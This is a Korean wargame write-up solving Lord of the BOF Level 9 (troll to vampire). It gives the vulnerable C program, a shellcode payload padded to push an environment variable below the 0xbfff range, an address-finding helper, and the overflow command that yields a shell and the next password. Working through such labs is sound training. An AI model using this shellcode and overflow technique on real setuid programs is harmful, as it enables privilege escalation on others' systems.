Sh4n3e
[시스템해킹][LOB] Level9 : Troll -> Vampire 본문
디스어셈블이 필요없다.. 약간의 아이디어만 필요할뿐...
0xbfff대역을 사용하지 못하기 때문에 우리는 환경변수 영역을 많은 양으로 채워서 0xbfff대역을 벗어나 이용한다.
[troll@localhost troll]$ cat vampire.c /* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
export하기 위한 Payload는 아래와 같다.
export $(python -c 'print "A0="+"\x90"*100+"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"+"\xa0\xfd\xff\xbf"+"\x90"*10000') |
아래와 같이 export를 실행시켜주고 환경변수의 주소를 얻어낸다.
[troll@localhost troll]$ export $(python -c 'print "A0="+"\x90"*100+"\x31\xc0\> [troll@localhost troll]$ export $(python -c 'print "B0="+"\x90"*100+"\x31\xc0\> [troll@localhost troll]$ export $(python -c 'print "C0="+"\x90"*100+"\x31\xc0\> [troll@localhost troll]$ export $(python -c 'print "D0="+"\x90"*100+"\x31\xc0\> [troll@localhost troll]$ ./test A0 bfff8891 [troll@localhost troll]$ ./test B0 bfffb069 [troll@localhost troll]$ ./test C0 bfffd85f [troll@localhost troll]$ ./test D0 bffe4b07 |
환경변수의 주소를 얻어내기위한 소스코드는 아래와 같다.
[troll@localhost troll]$ cat test.c #include <stdio.h> int main(int argc, char ** argv){ printf("%x\n", getenv(argv[1])); return 0; } |
이렇게 얻어낸 주소를 가지고 0xbffe4b07로 ret를 바꿔주기만 하면 된다.
[troll@localhost troll]$ ./vampire $(python -c 'print "A"*44+"\x0f\x4b\xfe\xbf"') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK�� bash$ id uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll) bash$ /bin/my-pass euid = 509 music world |
'Wargame > LOB' 카테고리의 다른 글
[시스템해킹][LOB] Level11 : Skeleton -> Golem (0) | 2017.06.27 |
---|---|
[시스템해킹][LOB] Level10 : Vampire -> Skeleton (0) | 2017.06.26 |
[시스템해킹][LOB] Level8 : Orge -> Troll (0) | 2017.06.23 |
[시스템해킹][LOB] Level7 : Darkelf -> Orge (0) | 2017.06.22 |
[시스템해킹][LOB] Level6 : Wolfman -> Darkelf (0) | 2017.06.22 |